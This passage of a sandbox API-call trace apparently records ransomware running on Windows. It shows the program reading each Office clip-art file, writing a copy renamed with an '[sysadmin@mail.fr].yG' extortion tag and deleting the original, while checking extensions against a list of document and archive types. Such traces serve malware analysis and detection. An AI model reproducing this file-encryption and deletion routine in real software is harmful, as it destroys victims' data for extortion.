	[0158.979] CloseHandle (hObject=0x360) returned 1
	[0158.979] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.979] SetEndOfFile (hFile=0x34c) returned 1
	[0158.982] CloseHandle (hObject=0x34c) returned 1
	[0158.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0158.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.983] lstrlenW (lpString=".doc") returned 4
	[0158.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.983] lstrlenW (lpString=".docx") returned 5
	[0158.983] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0158.983] lstrlenW (lpString=".pdf") returned 4
	[0158.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString=".xls") returned 4
	[0158.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.984] lstrlenW (lpString=".xlsx") returned 5
	[0158.984] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0158.984] lstrlenW (lpString=".ppt") returned 4
	[0158.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.984] lstrlenW (lpString=".zip") returned 4
	[0158.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.984] lstrlenW (lpString=".rar") returned 4
	[0158.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString=".bz2") returned 4
	[0158.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString=".7z") returned 3
	[0158.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.984] lstrlenW (lpString=".dbf") returned 4
	[0158.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.984] lstrlenW (lpString=".1cd") returned 4
	[0158.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0158.984] lstrlenW (lpString=".jpg") returned 4
	[0158.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.986] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3282) returned 1
	[0158.986] CloseHandle (hObject=0x34c) returned 1
	[0158.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
	[0158.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0158.987] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.987] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0159.269] GetLastError () returned 0x0
	[0159.270] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0159.343] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0159.344] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.345] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0159.345] SetEndOfFile (hFile=0x360) returned 1
	[0159.345] CloseHandle (hObject=0x360) returned 1
	[0159.345] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.345] SetEndOfFile (hFile=0x34c) returned 1
	[0159.348] CloseHandle (hObject=0x34c) returned 1
	[0159.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0159.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0159.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.351] lstrlenW (lpString=".doc") returned 4
	[0159.351] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0159.351] lstrlenW (lpString=".docx") returned 5
	[0159.351] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0159.351] lstrlenW (lpString=".pdf") returned 4
	[0159.351] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0159.351] lstrlenW (lpString=".xls") returned 4
	[0159.351] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.351] lstrlenW (lpString=".xlsx") returned 5
	[0159.351] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0159.351] lstrlenW (lpString=".ppt") returned 4
	[0159.351] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.351] lstrlenW (lpString=".zip") returned 4
	[0159.351] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.351] lstrlenW (lpString=".rar") returned 4
	[0159.351] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.351] lstrlenW (lpString=".bz2") returned 4
	[0159.352] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.352] lstrlenW (lpString=".7z") returned 3
	[0159.352] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.352] lstrlenW (lpString=".dbf") returned 4
	[0159.352] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.352] lstrlenW (lpString=".1cd") returned 4
	[0159.352] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0159.352] lstrlenW (lpString=".jpg") returned 4
	[0159.352] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0159.362] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=24528) returned 1
	[0159.362] CloseHandle (hObject=0x34c) returned 1
	[0159.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220
	[0159.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0159.363] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.363] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0159.364] GetLastError () returned 0x0
	[0159.364] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x5fd0, lpOverlapped=0x0) returned 1
	[0159.376] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x5fe0, lpOverlapped=0x0) returned 1
	[0159.377] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.378] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0159.378] SetEndOfFile (hFile=0x360) returned 1
	[0159.378] CloseHandle (hObject=0x360) returned 1
	[0159.378] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.378] SetEndOfFile (hFile=0x34c) returned 1
	[0159.383] CloseHandle (hObject=0x34c) returned 1
	[0159.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0159.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0159.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.384] lstrlenW (lpString=".doc") returned 4
	[0159.384] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0159.384] lstrlenW (lpString=".docx") returned 5
	[0159.384] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0159.384] lstrlenW (lpString=".pdf") returned 4
	[0159.384] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0159.385] lstrlenW (lpString=".xls") returned 4
	[0159.385] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0159.385] lstrlenW (lpString=".xlsx") returned 5
	[0159.385] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0159.385] lstrlenW (lpString=".ppt") returned 4
	[0159.385] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0159.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.385] lstrlenW (lpString=".zip") returned 4
	[0159.385] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0159.385] lstrlenW (lpString=".rar") returned 4
	[0159.385] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0159.385] lstrlenW (lpString=".bz2") returned 4
	[0159.385] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0159.385] lstrlenW (lpString=".7z") returned 3
	[0159.385] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0159.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.385] lstrlenW (lpString=".dbf") returned 4
	[0159.385] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0159.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.385] lstrlenW (lpString=".1cd") returned 4
	[0159.385] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0159.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0159.386] lstrlenW (lpString=".jpg") returned 4
	[0159.386] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0159.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0159.387] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=9080) returned 1
	[0159.387] CloseHandle (hObject=0x34c) returned 1
	[0159.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220
	[0159.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0159.388] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.388] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0159.389] GetLastError () returned 0x0
	[0159.389] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2378, lpOverlapped=0x0) returned 1
	[0159.403] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2380, lpOverlapped=0x0) returned 1
	[0159.405] ReadFile (in: hFile=0x34c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.405] WriteFile (in: hFile=0x360, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.241] SetEndOfFile (hFile=0x360) returned 1
	[0160.241] CloseHandle (hObject=0x360) returned 1
	[0160.242] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.242] SetEndOfFile (hFile=0x34c) returned 1
	[0160.245] CloseHandle (hObject=0x34c) returned 1
	[0160.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0161.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.028] lstrlenW (lpString=".doc") returned 4
	[0161.028] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.028] lstrlenW (lpString=".docx") returned 5
	[0161.028] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0161.028] lstrlenW (lpString=".pdf") returned 4
	[0161.028] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.028] lstrlenW (lpString=".xls") returned 4
	[0161.028] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.028] lstrlenW (lpString=".xlsx") returned 5
	[0161.028] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0161.028] lstrlenW (lpString=".ppt") returned 4
	[0161.029] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.029] lstrlenW (lpString=".zip") returned 4
	[0161.029] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.029] lstrlenW (lpString=".rar") returned 4
	[0161.029] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.029] lstrlenW (lpString=".bz2") returned 4
	[0161.029] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.029] lstrlenW (lpString=".7z") returned 3
	[0161.029] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.029] lstrlenW (lpString=".dbf") returned 4
	[0161.029] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.029] lstrlenW (lpString=".1cd") returned 4
	[0161.029] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0161.029] lstrlenW (lpString=".jpg") returned 4
	[0161.029] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.030] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=25265) returned 1
	[0161.030] CloseHandle (hObject=0x4a4) returned 1
	[0161.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220
	[0161.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.031] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.031] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0161.032] GetLastError () returned 0x0
	[0161.032] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x62b1, lpOverlapped=0x0) returned 1
	[0161.041] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x62c0, lpOverlapped=0x0) returned 1
	[0161.042] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.042] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.045] SetEndOfFile (hFile=0x51c) returned 1
	[0161.045] CloseHandle (hObject=0x51c) returned 1
	[0161.045] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.045] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.049] CloseHandle (hObject=0x4a4) returned 1
	[0161.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1
	[0161.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
